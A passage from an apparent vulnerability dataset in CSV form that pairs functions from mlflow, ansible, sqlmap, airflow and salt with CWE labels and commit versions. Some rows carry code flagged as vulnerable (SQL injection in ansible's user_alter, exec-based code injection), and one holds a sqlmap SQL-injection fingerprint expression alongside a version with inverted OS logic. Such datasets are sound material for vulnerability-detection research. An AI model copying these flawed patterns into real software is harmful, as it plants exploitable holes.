    with patch(""etcd.Client"") as mock:
        client = etcd_util.EtcdClient({})

        with patch.object(client, ""read"", autospec=True) as mock:
            mock.return_value = MagicMock(value=""stack"")
            assert client.get(""salt"") == ""stack""
            mock.assert_called_with(""salt"", recursive=False)

            assert client.get(""salt"", recurse=True) == ""stack""
            mock.assert_called_with(""salt"", recursive=True)

            # iter(list(Exception)) works correctly with both mock<1.1 and mock>=1.1
            mock.side_effect = iter([etcd.EtcdKeyNotFound()])
            assert client.get(""not-found"") is None

            mock.side_effect = iter([etcd.EtcdConnectionFailed()])
            assert client.get(""watching"") is None

            # python 2.6 test
            mock.side_effect = ValueError
            assert client.get(""not-found"") is None

            mock.side_effect = Exception
            with pytest.raises(Exception):
                client.get(""some-error"")"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/types/utils.py,0,"def _get_tensor_shape(data: np.ndarray, variable_dimension: Optional[int] = 0) -> tuple:
    """"""
    Infer the shape of the inputted data.

    This method creates the shape of the tensor to store in the TensorSpec. The variable dimension
    is assumed to be the first dimension by default. This assumption can be overridden by inputting
    a different variable dimension or `None` to represent that the input tensor does not contain a
    variable dimension.

    :param data: Dataset to infer from.
    :param variable_dimension: An optional integer representing a variable dimension.
    :return: tuple : Shape of the inputted data (including a variable dimension)
    """"""
    if not isinstance(data, np.ndarray):
        raise TypeError(""Expected numpy.ndarray, got '{}'."".format(type(data)))
    variable_input_data_shape = data.shape
    if variable_dimension is not None:
        try:
            variable_input_data_shape = list(variable_input_data_shape)
            variable_input_data_shape[variable_dimension] = -1
        except IndexError:
            raise MlflowException(
                ""The specified variable_dimension {0} is out of bounds with""
                ""respect to the number of dimensions {1} in the input dataset"".format(
                    variable_dimension, data.ndim
                )
            )
    return tuple(variable_input_data_shape)",,mlflow/mlflow,cdf98c459b1cff95bb58997e1c2eb86f76bd00cb,"def _get_tensor_shape(data: np.ndarray, variable_dimension: Optional[int] = 0) -> tuple:
    """"""
    Infer the shape of the inputted data.

    This method creates the shape of the tensor to store in the TensorSpec. The variable dimension
    is assumed to be the first dimension by default. This assumption can be overridden by inputting
    a different variable dimension or `None` to represent that the input tensor does not contain a
    variable dimension.

    :param data: Dataset to infer from.
    :param variable_dimension: An optional integer representing a variable dimension.
    :return: tuple : Shape of the inputted data (including a variable dimension)
    """"""
    if not isinstance(data, np.ndarray):
        raise TypeError(""Expected numpy.ndarray, got '{}'."".format(type(data)))
    variable_input_data_shape = data.shape
    if variable_dimension is not None:
        try:
            variable_input_data_shape = list(variable_input_data_shape)
            variable_input_data_shape[variable_dimension] = -1
        except IndexError:
            raise MlflowException(
                ""The specified variable_dimension {0} is out of bounds with""
                ""respect to the number of dimensions {1} in the input dataset"".format(
                    variable_dimension, data.ndim
                )
            )
    return tuple(variable_input_data_shape)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/database/postgresql/postgresql_user.py,1,"def user_alter(cursor, module, user, password, role_attr_flags, encrypted, expires, no_password_changes):
    """"""Change user password and/or attributes. Return True if changed, False otherwise.""""""
    changed = False

    # Note: role_attr_flags escaped by parse_role_attrs and encrypted is a literal
    if user == 'PUBLIC':
        if password is not None:
            module.fail_json(msg=""cannot change the password for PUBLIC user"")
        elif role_attr_flags != '':
            module.fail_json(msg=""cannot change the role_attr_flags for PUBLIC user"")
        else:
            return False

    # Handle passwords.
    if not no_password_changes and (password is not None or role_attr_flags != '' or expires is not None):
        # Select password and all flag-like columns in order to verify changes.
        query_password_data = dict(password=password, expires=expires)
        select = ""SELECT * FROM pg_authid where rolname=%(user)s""
        cursor.execute(select, {""user"": user})
        # Grab current role attributes.
        current_role_attrs = cursor.fetchone()

        # Do we actually need to do anything?
        pwchanging = False
        if password is not None:
            if encrypted == 'ENCRYPTED':
                if password.startswith('md5'):
                    if password != current_role_attrs['rolpassword']:
                        pwchanging = True
                else:
                    try:
                        from passlib.hash import postgres_md5 as pm
                        if pm.encrypt(password, user) != current_role_attrs['rolpassword']:
                            pwchanging = True
                    except ImportError:
                        # Cannot check if passlib is not installed, so assume password is different
                        pwchanging = True
            else:
                if password != current_role_attrs['rolpassword']:
                    pwchanging = True

        role_attr_flags_changing = False
        if role_attr_flags:
            role_attr_flags_dict = {}
            for r in role_attr_flags.split(' '):
                if r.startswith('NO'):
                    role_attr_flags_dict[r.replace('NO', '', 1)] = False
                else:
                    role_attr_flags_dict[r] = True

            for role_attr_name, role_attr_value in role_attr_flags_dict.items():
                if current_role_attrs[PRIV_TO_AUTHID_COLUMN[role_attr_name]] != role_attr_value:
                    role_attr_flags_changing = True

        if expires is not None:
            cursor.execute(""SELECT %s::timestamptz;"", (expires,))
            expires_with_tz = cursor.fetchone()[0]
            expires_changing = expires_with_tz != current_role_attrs.get('rolvaliduntil')
        else:
            expires_changing = False

        if not pwchanging and not role_attr_flags_changing and not expires_changing:
            return False

        alter = ['ALTER USER %(user)s' % {""user"": pg_quote_identifier(user, 'role')}]
        if pwchanging:
            alter.append(""WITH %(crypt)s"" % {""crypt"": encrypted})
            alter.append(""PASSWORD %(password)s"")
            alter.append(role_attr_flags)
        elif role_attr_flags:
            alter.append('WITH %s' % role_attr_flags)
        if expires is not None:
            alter.append(""VALID UNTIL %(expires)s"")

        try:
            cursor.execute(' '.join(alter), query_password_data)
        except psycopg2.InternalError:
            e = get_exception()
            if e.pgcode == '25006':
                # Handle errors due to read-only transactions indicated by pgcode 25006
                # ERROR:  cannot execute ALTER ROLE in a read-only transaction
                changed = False
                module.fail_json(msg=e.pgerror)
                return changed
            else:
                raise psycopg2.InternalError(e)

        # Grab new role attributes.
        cursor.execute(select, {""user"": user})
        new_role_attrs = cursor.fetchone()

        # Detect any differences between current_ and new_role_attrs.
        for i in range(len(current_role_attrs)):
            if current_role_attrs[i] != new_role_attrs[i]:
                changed = True

    elif no_password_changes and role_attr_flags != '':
        # Grab role information from pg_roles instead of pg_authid
        select = ""SELECT * FROM pg_roles where rolname=%(user)s""
        cursor.execute(select, {""user"": user})
        # Grab current role attributes.
        current_role_attrs = cursor.fetchone()

        role_attr_flags_changing = False

        if role_attr_flags:
            role_attr_flags_dict = {}
            for r in role_attr_flags.split(' '):
                if r.startswith('NO'):
                    role_attr_flags_dict[r.replace('NO', '', 1)] = False
                else:
                    role_attr_flags_dict[r] = True

            for role_attr_name, role_attr_value in role_attr_flags_dict.items():
                if current_role_attrs[PRIV_TO_AUTHID_COLUMN[role_attr_name]] != role_attr_value:
                    role_attr_flags_changing = True

        if not role_attr_flags_changing:
            return False

        alter = ['ALTER USER %(user)s' % {""user"": pg_quote_identifier(user, 'role')}]
        if role_attr_flags:
            alter.append('WITH %s' % role_attr_flags)

        try:
            cursor.execute(' '.join(alter))
        except psycopg2.InternalError:
            e = get_exception()
            if e.pgcode == '25006':
                # Handle errors due to read-only transactions indicated by pgcode 25006
                # ERROR:  cannot execute ALTER ROLE in a read-only transaction
                changed = False
                module.fail_json(msg=e.pgerror)
                return changed
            else:
                raise psycopg2.InternalError(e)

        # Grab new role attributes.
        cursor.execute(select, {""user"": user})
        new_role_attrs = cursor.fetchone()

        # Detect any differences between current_ and new_role_attrs.
        for i in range(len(current_role_attrs)):
            if current_role_attrs[i] != new_role_attrs[i]:
                changed = True

    return changed",CWE-89,ansible/ansible,5432414c9d64b85757982e85ab40404e85950142,"def user_alter(cursor, module, user, password, role_attr_flags, encrypted, expires, no_password_changes):
    """"""Change user password and/or attributes. Return True if changed, False otherwise.""""""
    changed = False

    # Note: role_attr_flags escaped by parse_role_attrs and encrypted is a literal
    if user == 'PUBLIC':
        if password is not None:
            module.fail_json(msg=""cannot change the password for PUBLIC user"")
        elif role_attr_flags != '':
            module.fail_json(msg=""cannot change the role_attr_flags for PUBLIC user"")
        else:
            return False

    # Handle passwords.
    if not no_password_changes and (password is not None or role_attr_flags != ''):
        # Select password and all flag-like columns in order to verify changes.
        query_password_data = dict(password=password, expires=expires)
        select = ""SELECT * FROM pg_authid where rolname=%(user)s""
        cursor.execute(select, {""user"": user})
        # Grab current role attributes.
        current_role_attrs = cursor.fetchone()

        # Do we actually need to do anything?
        pwchanging = False
        if password is not None:
            if encrypted == 'ENCRYPTED':
                if password.startswith('md5'):
                    if password != current_role_attrs['rolpassword']:
                        pwchanging = True
                else:
                    try:
                        from passlib.hash import postgres_md5 as pm
                        if pm.encrypt(password, user) != current_role_attrs['rolpassword']:
                            pwchanging = True
                    except ImportError:
                        # Cannot check if passlib is not installed, so assume password is different
                        pwchanging = True
            else:
                if password != current_role_attrs['rolpassword']:
                    pwchanging = True

        role_attr_flags_changing = False
        if role_attr_flags:
            role_attr_flags_dict = {}
            for r in role_attr_flags.split(' '):
                if r.startswith('NO'):
                    role_attr_flags_dict[r.replace('NO', '', 1)] = False
                else:
                    role_attr_flags_dict[r] = True

            for role_attr_name, role_attr_value in role_attr_flags_dict.items():
                if current_role_attrs[PRIV_TO_AUTHID_COLUMN[role_attr_name]] != role_attr_value:
                    role_attr_flags_changing = True

        expires_changing = (expires is not None and expires == current_role_attrs['rolvaliduntil'])

        if not pwchanging and not role_attr_flags_changing and not expires_changing:
            return False

        alter = ['ALTER USER %(user)s' % {""user"": pg_quote_identifier(user, 'role')}]
        if pwchanging:
            alter.append(""WITH %(crypt)s"" % {""crypt"": encrypted})
            alter.append(""PASSWORD %(password)s"")
            alter.append(role_attr_flags)
        elif role_attr_flags:
            alter.append('WITH %s' % role_attr_flags)
        if expires is not None:
            alter.append(""VALID UNTIL %(expires)s"")

        try:
            cursor.execute(' '.join(alter), query_password_data)
        except psycopg2.InternalError:
            e = get_exception()
            if e.pgcode == '25006':
                # Handle errors due to read-only transactions indicated by pgcode 25006
                # ERROR:  cannot execute ALTER ROLE in a read-only transaction
                changed = False
                module.fail_json(msg=e.pgerror)
                return changed
            else:
                raise psycopg2.InternalError(e)

        # Grab new role attributes.
        cursor.execute(select, {""user"": user})
        new_role_attrs = cursor.fetchone()

        # Detect any differences between current_ and new_role_attrs.
        for i in range(len(current_role_attrs)):
            if current_role_attrs[i] != new_role_attrs[i]:
                changed = True

    elif no_password_changes and role_attr_flags != '':
        # Grab role information from pg_roles instead of pg_authid
        select = ""SELECT * FROM pg_roles where rolname=%(user)s""
        cursor.execute(select, {""user"": user})
        # Grab current role attributes.
        current_role_attrs = cursor.fetchone()

        role_attr_flags_changing = False

        if role_attr_flags:
            role_attr_flags_dict = {}
            for r in role_attr_flags.split(' '):
                if r.startswith('NO'):
                    role_attr_flags_dict[r.replace('NO', '', 1)] = False
                else:
                    role_attr_flags_dict[r] = True

            for role_attr_name, role_attr_value in role_attr_flags_dict.items():
                if current_role_attrs[PRIV_TO_AUTHID_COLUMN[role_attr_name]] != role_attr_value:
                    role_attr_flags_changing = True

        if not role_attr_flags_changing:
            return False

        alter = ['ALTER USER %(user)s' % {""user"": pg_quote_identifier(user, 'role')}]
        if role_attr_flags:
            alter.append('WITH %s' % role_attr_flags)

        try:
            cursor.execute(' '.join(alter))
        except psycopg2.InternalError:
            e = get_exception()
            if e.pgcode == '25006':
                # Handle errors due to read-only transactions indicated by pgcode 25006
                # ERROR:  cannot execute ALTER ROLE in a read-only transaction
                changed = False
                module.fail_json(msg=e.pgerror)
                return changed
            else:
                raise psycopg2.InternalError(e)

        # Grab new role attributes.
        cursor.execute(select, {""user"": user})
        new_role_attrs = cursor.fetchone()

        # Detect any differences between current_ and new_role_attrs.
        for i in range(len(current_role_attrs)):
            if current_role_attrs[i] != new_role_attrs[i]:
                changed = True

    return changed"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mysql/fingerprint.py,0,"def checkDbmsOs(self, detailed=False):
        if kb.os:
            return

        infoMsg = ""fingerprinting the back-end DBMS operating system""
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""'W'=UPPER(MID(@@version_compile_os,1,1))"")

        if result:
            kb.os = ""Windows""
        elif not result:
            kb.os = ""Linux""

        if kb.os:
            infoMsg = ""the back-end DBMS operating system is %s"" % kb.os
            logger.info(infoMsg)
        else:
            self.userChooseDbmsOs()

        self.cleanup(onlyFileTbl=True)",,sqlmapproject/sqlmap,148fb26301b49ab9e33525cab856e4daec589cf2,"def checkDbmsOs(self, detailed=False):
        if kb.os:
            return

        infoMsg = ""fingerprinting the back-end DBMS operating system""
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""'W'=UPPER(MID(@@version_compile_os,1,1))"")

        if result:
            kb.os = ""Linux""
        elif not result:
            kb.os = ""Windows""

        if kb.os:
            infoMsg = ""the back-end DBMS operating system is %s"" % kb.os
            logger.info(infoMsg)
        else:
            self.userChooseDbmsOs()

        self.cleanup(onlyFileTbl=True)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,docs/exts/docs_build/lint_checks.py,0,"def check_guide_links_in_operator_descriptions() -> List[DocBuildError]:
    """"""Check if there are links to guides in operator's descriptions.""""""
    # TODO: We should also check the guides  in the provider documentations.
    #     For now, we are only checking the core documentation.
    #     This is easiest to do after the content has been fully migrated.
    build_errors = []

    def generate_build_error(path, line_no, operator_name):
        return DocBuildError(
            file_path=path,
            line_no=line_no,
            message=(
                f""Link to the guide is missing in operator's description: {operator_name}.\n""
                f""Please add link to the guide to the description in the following form:\n""
                f""\n""
                f"".. seealso::\n""
                f""    For more information on how to use this operator, take a look at the guide:\n""
                f""    :ref:`apache-airflow:howto/operator:{operator_name}`\n""
            ),
        )

    # Extract operators for which there are existing .rst guides
    operator_names = find_existing_guide_operator_names(f""{DOCS_DIR}/howto/operator"")

    # Extract all potential python modules that can contain operators
    python_module_paths = chain(
        glob(f""{ROOT_PACKAGE_DIR}/operators/*.py""),
        glob(f""{ROOT_PACKAGE_DIR}/sensors/*.py""),
        glob(f""{ROOT_PACKAGE_DIR}/providers/**/operators/*.py"", recursive=True),
        glob(f""{ROOT_PACKAGE_DIR}/providers/**/sensors/*.py"", recursive=True),
        glob(f""{ROOT_PACKAGE_DIR}/providers/**/transfers/*.py"", recursive=True),
    )

    for py_module_path in python_module_paths:
        with open(py_module_path) as f:
            py_content = f.read()

        if ""This module is deprecated"" in py_content:
            continue

        for existing_operator in operator_names:
            if f""class {existing_operator}"" not in py_content:
                continue
            # This is a potential file with necessary class definition.
            # To make sure it's a real Python class definition, we build AST tree
            ast_tree = ast.parse(py_content)
            class_def = extract_ast_class_def_by_name(ast_tree, existing_operator)

            if class_def is None:
                continue

            docstring = ast.get_docstring(class_def)
            if ""This class is deprecated."" in docstring:
                continue

            if f"":ref:`apache-airflow:howto/operator:{existing_operator}`"" in ast.get_docstring(
                class_def
            ) or f"":ref:`howto/operator:{existing_operator}`"" in ast.get_docstring(class_def):
                continue

            build_errors.append(generate_build_error(py_module_path, class_def.lineno, existing_operator))
    return build_errors",CWE-Unknown,apache/airflow,944bd4c658e9793c43c068e5359f816ded4f0b40,"def check_guide_links_in_operator_descriptions() -> List[DocBuildError]:
    """"""Check if there are links to guides in operator's descriptions.""""""
    # TODO: We should also check the guides  in the provider documentations.
    #     For now, we are only checking the core documentation.
    #     This is easiest to do after the content has been fully migrated.
    build_errors = []

    def generate_build_error(path, line_no, operator_name):
        return DocBuildError(
            package_name=None,
            file_path=path,
            line_no=line_no,
            message=(
                f""Link to the guide is missing in operator's description: {operator_name}.\n""
                f""Please add link to the guide to the description in the following form:\n""
                f""\n""
                f"".. seealso::\n""
                f""    For more information on how to use this operator, take a look at the guide:\n""
                f""    :ref:`apache-airflow:howto/operator:{operator_name}`\n""
            ),
        )

    # Extract operators for which there are existing .rst guides
    operator_names = find_existing_guide_operator_names(f""{DOCS_DIR}/howto/operator"")

    # Extract all potential python modules that can contain operators
    python_module_paths = chain(
        glob(f""{ROOT_PACKAGE_DIR}/operators/*.py""),
        glob(f""{ROOT_PACKAGE_DIR}/sensors/*.py""),
        glob(f""{ROOT_PACKAGE_DIR}/providers/**/operators/*.py"", recursive=True),
        glob(f""{ROOT_PACKAGE_DIR}/providers/**/sensors/*.py"", recursive=True),
        glob(f""{ROOT_PACKAGE_DIR}/providers/**/transfers/*.py"", recursive=True),
    )

    for py_module_path in python_module_paths:
        with open(py_module_path) as f:
            py_content = f.read()

        if ""This module is deprecated"" in py_content:
            continue

        for existing_operator in operator_names:
            if f""class {existing_operator}"" not in py_content:
                continue
            # This is a potential file with necessary class definition.
            # To make sure it's a real Python class definition, we build AST tree
            ast_tree = ast.parse(py_content)
            class_def = extract_ast_class_def_by_name(ast_tree, existing_operator)

            if class_def is None:
                continue

            docstring = ast.get_docstring(class_def)
            if ""This class is deprecated."" in docstring:
                continue

            if f"":ref:`apache-airflow:howto/operator:{existing_operator}`"" in ast.get_docstring(
                class_def
            ) or f"":ref:`howto/operator:{existing_operator}`"" in ast.get_docstring(class_def):
                continue

            build_errors.append(generate_build_error(py_module_path, class_def.lineno, existing_operator))
    return build_errors"
,UNKNOWN,UNKNOWN,test/lib/ansible_test/_util/target/pytest/plugins/ansible_pytest_collections.py,1,"def enable_assertion_rewriting_hook():  # type: () -> None
    """"""
    Enable pytest's AssertionRewritingHook on Python 3.x.
    This is necessary because the Ansible collection loader intercepts imports before the pytest provided loader ever sees them.
    """"""
    import sys

    hook_name = '_pytest.assertion.rewrite.AssertionRewritingHook'
    hooks = [hook for hook in sys.meta_path if hook.__class__.__module__ + '.' + hook.__class__.__qualname__ == hook_name]

    if len(hooks) != 1:
        raise Exception('Found {} instance(s) of ""{}"" in sys.meta_path.'.format(len(hooks), hook_name))

    assertion_rewriting_hook = hooks[0]

    # This is based on `_AnsibleCollectionPkgLoaderBase.exec_module` from `ansible/utils/collection_loader/_collection_finder.py`.
    def exec_module(self, module):
        # short-circuit redirect; avoid reinitializing existing modules
        if self._redirect_module:  # pylint: disable=protected-access
            return

        # execute the module's code in its namespace
        code_obj = self.get_code(self._fullname)  # pylint: disable=protected-access

        if code_obj is not None:  # things like NS packages that can't have code on disk will return None
            # This logic is loosely based on `AssertionRewritingHook._should_rewrite` from pytest.
            # See: https://github.com/pytest-dev/pytest/blob/779a87aada33af444f14841a04344016a087669e/src/_pytest/assertion/rewrite.py#L209
            should_rewrite = self._package_to_load == 'conftest' or self._package_to_load.startswith('test_')  # pylint: disable=protected-access

            if should_rewrite:
                # noinspection PyUnresolvedReferences
                assertion_rewriting_hook.exec_module(module)
            else:
                exec(code_obj, module.__dict__)  # pylint: disable=exec-used

    # noinspection PyProtectedMember
    from ansible.utils.collection_loader._collection_finder import _AnsibleCollectionPkgLoaderBase

    _AnsibleCollectionPkgLoaderBase.exec_module = exec_module",CWE-94,ansible/ansible,9d249432c49a4bec98319c86b2c7d69b95ecb9ec,"def enable_assertion_rewriting_hook():  # type: () -> None
    """"""
    Enable pytest's AssertionRewritingHook on Python 3.x.
    This is necessary because the Ansible collection loader intercepts imports before the pytest provided loader ever sees them.
    """"""
    import sys

    hook_name = '_pytest.assertion.rewrite.AssertionRewritingHook'
    hooks = [hook for hook in sys.meta_path if hook.__class__.__module__ + '.' + hook.__class__.__qualname__ == hook_name]

    if len(hooks) != 1:
        raise Exception('Found {} instance(s) of ""{}"" in sys.meta_path.'.format(len(hooks), hook_name))

    assertion_rewriting_hook = hooks[0]

    # This is based on `_AnsibleCollectionPkgLoaderBase.exec_module` from `ansible/utils/collection_loader/_collection_finder.py`.
    def exec_module(self, module):
        # short-circuit redirect; avoid reinitializing existing modules
        if self._redirect_module:  # pylint: disable=protected-access
            return

        # execute the module's code in its namespace
        code_obj = self.get_code(self._fullname)  # pylint: disable=protected-access

        if code_obj is not None:  # things like NS packages that can't have code on disk will return None
            # This logic is loosely based on `AssertionRewritingHook._should_rewrite` from pytest.
            # See: https://github.com/pytest-dev/pytest/blob/779a87aada33af444f14841a04344016a087669e/src/_pytest/assertion/rewrite.py#L209
            should_rewrite = self._package_to_load == 'conftest' or self._package_to_load.startswith('test_')  # pylint: disable=protected-access

            if should_rewrite:
                # noinspection PyUnresolvedReferences
                assertion_rewriting_hook.exec_module(module)
            else:
                exec(code_obj, module.__dict__)  # pylint: disable=exec-used

    # noinspection PyProtectedMember
    from ansible.utils.collection_loader._collection_finder import _AnsibleCollectionPkgLoaderBase

    _AnsibleCollectionPkgLoaderBase.exec_module = exec_module"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/file.py,0,"def blockreplace(
    name,
    marker_start=""#-- start managed zone --"",
    marker_end=""#-- end managed zone --"",
    source=None,
    source_hash=None,
    template=""jinja"",
    sources=None,
    source_hashes=None,
    defaults=None,
    context=None,
    content="""",
    append_if_not_found=False,
    prepend_if_not_found=False,
    backup="".bak"",
    show_changes=True,
    append_newline=None,
    insert_before_match=None,
    insert_after_match=None,
):
    """"""
    Maintain an edit in a file in a zone delimited by two line markers

    .. versionadded:: 2014.1.0
    .. versionchanged:: 2017.7.5,2018.3.1
        ``append_newline`` argument added. Additionally, to improve
        idempotence, if the string represented by ``marker_end`` is found in
        the middle of the line, the content preceding the marker will be
        removed when the block is replaced. This allows one to remove
        ``append_newline: False`` from the SLS and have the block properly
        replaced if the end of the content block is immediately followed by the
        ``marker_end`` (i.e. no newline before the marker).

    A block of content delimited by comments can help you manage several lines
    entries without worrying about old entries removal. This can help you
    maintaining an un-managed file containing manual edits.

    .. note::
        This function will store two copies of the file in-memory (the original
        version and the edited version) in order to detect changes and only
        edit the targeted file if necessary.

        Additionally, you can use :py:func:`file.accumulated
        <salt.states.file.accumulated>` and target this state. All accumulated
        data dictionaries' content will be added in the content block.

    name
        Filesystem path to the file to be edited

    marker_start
        The line content identifying a line as the start of the content block.
        Note that the whole line containing this marker will be considered, so
        whitespace or extra content before or after the marker is included in
        final output

    marker_end
        The line content identifying the end of the content block. As of
        versions 2017.7.5 and 2018.3.1, everything up to the text matching the
        marker will be replaced, so it's important to ensure that your marker
        includes the beginning of the text you wish to replace.

    content
        The content to be used between the two lines identified by
        ``marker_start`` and ``marker_end``

    source
        The source file to download to the minion, this source file can be
        hosted on either the salt master server, or on an HTTP or FTP server.
        Both HTTPS and HTTP are supported as well as downloading directly
        from Amazon S3 compatible URLs with both pre-configured and automatic
        IAM credentials. (see s3.get state documentation)
        File retrieval from Openstack Swift object storage is supported via
        swift://container/object_path URLs, see swift.get documentation.
        For files hosted on the salt file server, if the file is located on
        the master in the directory named spam, and is called eggs, the source
        string is salt://spam/eggs. If source is left blank or None
        (use ~ in YAML), the file will be created as an empty file and
        the content will not be managed. This is also the case when a file
        already exists and the source is undefined; the contents of the file
        will not be changed or managed.

        If the file is hosted on a HTTP or FTP server then the source_hash
        argument is also required.

        A list of sources can also be passed in to provide a default source and
        a set of fallbacks. The first source in the list that is found to exist
        will be used and subsequent entries in the list will be ignored.

        .. code-block:: yaml

            file_override_example:
              file.blockreplace:
                - name: /etc/example.conf
                - source:
                  - salt://file_that_does_not_exist
                  - salt://file_that_exists

    source_hash
        This can be one of the following:
            1. a source hash string
            2. the URI of a file that contains source hash strings

        The function accepts the first encountered long unbroken alphanumeric
        string of correct length as a valid hash, in order from most secure to
        least secure:

        .. code-block:: text

            Type    Length
            ======  ======
            sha512     128
            sha384      96
            sha256      64
            sha224      56
            sha1        40
            md5         32

        See the ``source_hash`` parameter description for :mod:`file.managed
        <salt.states.file.managed>` function for more details and examples.

    template : jinja
        Templating engine to be used to render the downloaded file. The
        following engines are supported:

        - :mod:`cheetah <salt.renderers.cheetah>`
        - :mod:`genshi <salt.renderers.genshi>`
        - :mod:`jinja <salt.renderers.jinja>`
        - :mod:`mako <salt.renderers.mako>`
        - :mod:`py <salt.renderers.py>`
        - :mod:`wempy <salt.renderers.wempy>`

    context
        Overrides default context variables passed to the template

    defaults
        Default context passed to the template

    append_if_not_found : False
        If markers are not found and this option is set to ``True``, the
        content block will be appended to the file.

    prepend_if_not_found : False
        If markers are not found and this option is set to ``True``, the
        content block will be prepended to the file.

    insert_before_match
        If markers are not found, this parameter can be set to a regex which will
        insert the block before the first found occurrence in the file.

        .. versionadded:: Sodium

    insert_after_match
        If markers are not found, this parameter can be set to a regex which will
        insert the block after the first found occurrence in the file.

        .. versionadded:: Sodium

    backup
        The file extension to use for a backup of the file if any edit is made.
        Set this to ``False`` to skip making a backup.

    dry_run : False
        If ``True``, do not make any edits to the file and simply return the
        changes that *would* be made.

    show_changes : True
        Controls how changes are presented. If ``True``, the ``Changes``
        section of the state return will contain a unified diff of the changes
        made. If False, then it will contain a boolean (``True`` if any changes
        were made, otherwise ``False``).

    append_newline
        Controls whether or not a newline is appended to the content block. If
        the value of this argument is ``True`` then a newline will be added to
        the content block. If it is ``False``, then a newline will *not* be
        added to the content block. If it is unspecified, then a newline will
        only be added to the content block if it does not already end in a
        newline.

        .. versionadded:: 2017.7.5,2018.3.1

    Example of usage with an accumulator and with a variable:

    .. code-block:: jinja

        {% set myvar = 42 %}
        hosts-config-block-{{ myvar }}:
          file.blockreplace:
            - name: /etc/hosts
            - marker_start: ""# START managed zone {{ myvar }} -DO-NOT-EDIT-""
            - marker_end: ""# END managed zone {{ myvar }} --""
            - content: 'First line of content'
            - append_if_not_found: True
            - backup: '.bak'
            - show_changes: True

        hosts-config-block-{{ myvar }}-accumulated1:
          file.accumulated:
            - filename: /etc/hosts
            - name: my-accumulator-{{ myvar }}
            - text: ""text 2""
            - require_in:
              - file: hosts-config-block-{{ myvar }}

        hosts-config-block-{{ myvar }}-accumulated2:
          file.accumulated:
            - filename: /etc/hosts
            - name: my-accumulator-{{ myvar }}
            - text: |
                 text 3
                 text 4
            - require_in:
              - file: hosts-config-block-{{ myvar }}

    will generate and maintain a block of content in ``/etc/hosts``:

    .. code-block:: text

        # START managed zone 42 -DO-NOT-EDIT-
        First line of content
        text 2
        text 3
        text 4
        # END managed zone 42 --
    """"""
    name = os.path.expanduser(name)

    ret = {""name"": name, ""changes"": {}, ""result"": False, ""comment"": """"}
    if not name:
        return _error(ret, ""Must provide name to file.blockreplace"")

    if sources is None:
        sources = []
    if source_hashes is None:
        source_hashes = []

    (ok_, err, sl_) = _unify_sources_and_hashes(
        source=source,
        source_hash=source_hash,
        sources=sources,
        source_hashes=source_hashes,
    )
    if not ok_:
        return _error(ret, err)

    check_res, check_msg = _check_file(name)
    if not check_res:
        return _error(ret, check_msg)

    accum_data, accum_deps = _load_accumulators()
    if name in accum_data:
        accumulator = accum_data[name]
        # if we have multiple accumulators for a file, only apply the one
        # required at a time
        deps = accum_deps.get(name, [])
        filtered = [
            a for a in deps if __low__[""__id__""] in deps[a] and a in accumulator
        ]
        if not filtered:
            filtered = [a for a in accumulator]
        for acc in filtered:
            acc_content = accumulator[acc]
            for line in acc_content:
                if content == """":
                    content = line
                else:
                    content += ""\n"" + line

    if sl_:
        tmpret = _get_template_texts(
            source_list=sl_, template=template, defaults=defaults, context=context
        )
        if not tmpret[""result""]:
            return tmpret
        text = tmpret[""data""]

        for index, item in enumerate(text):
            content += six.text_type(item)

    try:
        changes = __salt__[""file.blockreplace""](
            name,
            marker_start,
            marker_end,
            content=content,
            append_if_not_found=append_if_not_found,
            prepend_if_not_found=prepend_if_not_found,
            insert_before_match=insert_before_match,
            insert_after_match=insert_after_match,
            backup=backup,
            dry_run=__opts__[""test""],
            show_changes=show_changes,
            append_newline=append_newline,
        )
    except Exception as exc:  # pylint: disable=broad-except
        log.exception(""Encountered error managing block"")
        ret[""comment""] = (
            ""Encountered error managing block: {0}. ""
            ""See the log for details."".format(exc)
        )
        return ret

    if changes:
        ret[""changes""][""diff""] = changes
        if __opts__[""test""]:
            ret[""result""] = None
            ret[""comment""] = ""Changes would be made""
        else:
            ret[""result""] = True
            ret[""comment""] = ""Changes were made""
    else:
        ret[""result""] = True
        ret[""comment""] = ""No changes needed to be made""

    return ret",,saltstack/salt,1f7070931851b440d3442f686ec36964210c729d,"def blockreplace(
    name,
    marker_start=""#-- start managed zone --"",
    marker_end=""#-- end managed zone --"",
    source=None,
    source_hash=None,
    template=""jinja"",
    sources=None,
    source_hashes=None,
    defaults=None,
    context=None,
    content="""",
    append_if_not_found=False,
    prepend_if_not_found=False,
    backup="".bak"",
    show_changes=True,
    append_newline=None,
):
    """"""
    Maintain an edit in a file in a zone delimited by two line markers

    .. versionadded:: 2014.1.0
    .. versionchanged:: 2017.7.5,2018.3.1
        ``append_newline`` argument added. Additionally, to improve
        idempotence, if the string represented by ``marker_end`` is found in
        the middle of the line, the content preceding the marker will be
        removed when the block is replaced. This allows one to remove
        ``append_newline: False`` from the SLS and have the block properly
        replaced if the end of the content block is immediately followed by the
        ``marker_end`` (i.e. no newline before the marker).

    A block of content delimited by comments can help you manage several lines
    entries without worrying about old entries removal. This can help you
    maintaining an un-managed file containing manual edits.

    .. note::
        This function will store two copies of the file in-memory (the original
        version and the edited version) in order to detect changes and only
        edit the targeted file if necessary.

        Additionally, you can use :py:func:`file.accumulated
        <salt.states.file.accumulated>` and target this state. All accumulated
        data dictionaries' content will be added in the content block.

    name
        Filesystem path to the file to be edited

    marker_start
        The line content identifying a line as the start of the content block.
        Note that the whole line containing this marker will be considered, so
        whitespace or extra content before or after the marker is included in
        final output

    marker_end
        The line content identifying the end of the content block. As of
        versions 2017.7.5 and 2018.3.1, everything up to the text matching the
        marker will be replaced, so it's important to ensure that your marker
        includes the beginning of the text you wish to replace.

    content
        The content to be used between the two lines identified by
        ``marker_start`` and ``marker_end``

    source
        The source file to download to the minion, this source file can be
        hosted on either the salt master server, or on an HTTP or FTP server.
        Both HTTPS and HTTP are supported as well as downloading directly
        from Amazon S3 compatible URLs with both pre-configured and automatic
        IAM credentials. (see s3.get state documentation)
        File retrieval from Openstack Swift object storage is supported via
        swift://container/object_path URLs, see swift.get documentation.
        For files hosted on the salt file server, if the file is located on
        the master in the directory named spam, and is called eggs, the source
        string is salt://spam/eggs. If source is left blank or None
